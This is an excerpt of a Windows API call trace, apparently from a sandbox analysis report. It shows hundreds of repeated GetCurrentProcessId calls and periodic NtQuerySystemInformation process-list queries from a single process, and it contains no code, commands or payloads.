GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.444] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.445] GetCurrentProcessId () returned 0xbf4 [0284.948] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.964] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.965] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.966] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.967] GetCurrentProcessId () returned 0xbf4 [0284.968] GetCurrentProcessId () returned 0xbf4 [0284.968] GetCurrentProcessId () returned 0xbf4 [0284.968] GetCurrentProcessId () returned 0xbf4 [0284.968] GetCurrentProcessId () returned 0xbf4 [0284.968] GetCurrentProcessId () returned 0xbf4 [0285.478] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0285.488] GetCurrentProcessId () returned 0xbf4 [0285.488] GetCurrentProcessId () returned 0xbf4 [0285.488] GetCurrentProcessId () returned 0xbf4 [0285.488] GetCurrentProcessId () returned 0xbf4 [0285.488] GetCurrentProcessId () returned 0xbf4 [0285.488] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.489] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.490] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.491] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.492] GetCurrentProcessId () returned 0xbf4 [0285.994] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c840) returned 0x0 [0286.001] GetCurrentProcessId () returned 0xbf4 [0286.001] GetCurrentProcessId () returned 0xbf4 [0286.001] GetCurrentProcessId () returned 0xbf4 [0286.001] GetCurrentProcessId () returned 0xbf4 [0286.001] GetCurrentProcessId () returned 0xbf4 [0286.001] GetCurrentProcessId () returned 0xbf4 [0286.001] GetCurrentProcessId () returned 0xbf4 [0286.001] GetCurrentProcessId () returned 0xbf4 [0286.001] GetCurrentProcessId () returned 0xbf4 [0286.001] GetCurrentProcessId () returned 0xbf4 [0286.001] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.002] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.003] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.004] GetCurrentProcessId () returned 0xbf4 [0286.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c890) returned 0x0 [0286.516] GetCurrentProcessId () returned 0xbf4 [0286.516] GetCurrentProcessId () returned 0xbf4 [0286.516] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.517] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.518] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.519] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0286.520] GetCurrentProcessId () returned 0xbf4 [0287.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c930) returned 0x0 [0287.027] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.028] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.029] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 